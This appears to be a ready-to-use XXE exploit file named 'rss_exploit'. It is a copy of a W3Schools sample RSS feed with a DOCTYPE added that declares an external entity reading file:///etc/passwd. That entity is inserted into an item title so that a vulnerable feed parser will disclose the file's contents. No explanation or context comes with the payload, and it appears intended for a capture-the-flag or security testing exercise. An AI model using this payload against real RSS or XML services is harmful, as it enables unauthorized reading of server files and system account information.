rss_exploit

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0">

<channel>
  <title>W3Schools Home Page</title>
  <link>https://www.w3schools.com</link>
  <description>Free web building tutorials</description>
  <item>
    <title>RSS Tutorial</title>
    <link>https://www.w3schools.com/xml/xml_rss.asp</link>
    <description>New RSS tutorial on W3Schools</description>
  </item>
  <item>
  <title>&xxe;</title><!--<title>test</title>-->
    <link>https://www.w3schools.com/xml</link>
    <description>mypass</description>
  </item>
</channel>
</rss>